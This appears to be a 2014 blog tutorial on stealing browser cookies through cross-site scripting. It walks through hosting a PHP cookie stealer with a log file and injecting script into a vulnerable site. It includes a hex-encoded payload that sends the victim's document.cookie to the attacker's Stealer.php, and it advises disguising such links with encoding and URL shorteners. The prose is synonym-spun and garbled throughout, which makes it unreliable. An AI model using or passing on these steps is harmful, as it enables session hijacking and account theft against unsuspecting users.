Thursday, 10 July 2014

How to do Cookie Stealing with Cross site Scripting Vulnerability ..!!














Today i am going to clarify how an aggressor abuse XSS helplessness and take treat from clients.

Caution!!!

Administrator does not assume liability, if anybody, tries these hacks against any association or whatever that makes him to trespass the efforts to establish safety and brings him under the legitimate arraignment.

This excercise is planned for the change of security and for Pentesting,  examinations by legitimate security offices.



Prerequisites:

A treat Stealer code : Get it from here

Free Web facilitating administration

Essential Knowledge about XSS

Essential Knowledge about Computer Cookies

Treat taking is the methodology of misusing the XSS defenselessness (Non-constant/tireless) and take the treat from the exploited person who visit the contaminated connection. These treat will be utilized to trade off their records.

Step 1: Creating Cookie Stealer PHP document

Get the Cookie stealer from the connection i said. In that post, i have clarified three adaptations of treat stealer. We are going to utilize the third form.

Duplicate the code.

Open Notepad and glue the code

Spare the record with .php augmentation

Eg: Stealer.php

Presently make New document and spare it as log.txt (abandon it as clear). Don't change the name , this is the document name what we give in php record.

Presently you will have two documents;

1. Stealer.php

2. log.txt

What these two documents do precisely?

The above Stealer.php document get ip address,cookie and stores the information in log.txt record.

The log.txt has treats , ip location points of interest.

Step 2:

Enlist in a free web-facilitating administration and login into your cpanel.

Presently open the File Manager in cpanel.

Transfer the Stealer.php and log.txt to root organizer or public_html envelope.

Step 3: Exploiting the XSS Vulnerability

So Far , we have honed our saw. Presently we are going to utilize it.

When you set up everything and discover a Vulnerable site,then infuse the accompanying code in the Vulnerable locales.

For instance:

hxxp://www.vulnerablesite.com/index.php?search=

Treat Stealing with Non-Persistent versus Persistent XSS:

Steady: in the event that you infuse this code in Persistent XSS powerless site, it will be there always until administrator discover it. It will be demonstrated to all clients. So assailants don't have to send any connection to others. Whoever visit the page, they will be vicim.

Non-Persistent:

If there should arise an occurrence of Non-persevering assault, aggressor will send the connection to victimized people. At whatever point they take after the connection, it will take the treat. The vast majority of locales are defenseless against Non-constant XSS .

In Non-tirelessness, Attackers will send the infused connection victimized people.

For instance:

hxxp://www.vulnerablesite.com/index.php?search=

The above connection is unmistakably demonstrates the scripts. Programmers can Hex-encode this script  so that victimized person can't see the script.

For Example:

hxxp://www.vulnerablesite.com/index.php?search=%3c%73%63%72%69%70%74%3e%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%20%3d%20%27%68%74%74%70%3a%2f%2f%77%77%77%2e%59%6f%75%72%73%69%74%65%2e%63%6f%6d%2f%53%74%65%61%6c%65%72%2e%70%68%70%3f%63%6f%6f%6b%69%65%3d%27%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3b%3c%2f%73%63%72%69%70%74%3e

Still , the connection look long. The assailant utilize one more trap to conceal the long url i.e url shortening locales. There are parcel of locales that abbreviate the long url into modest url.

Case in point:

hxxp://www.tinyexample.com/twrwd63

Once the victimized person take after the connection, his treat will be put away in log.txt document.

0 comments:

Post a Comment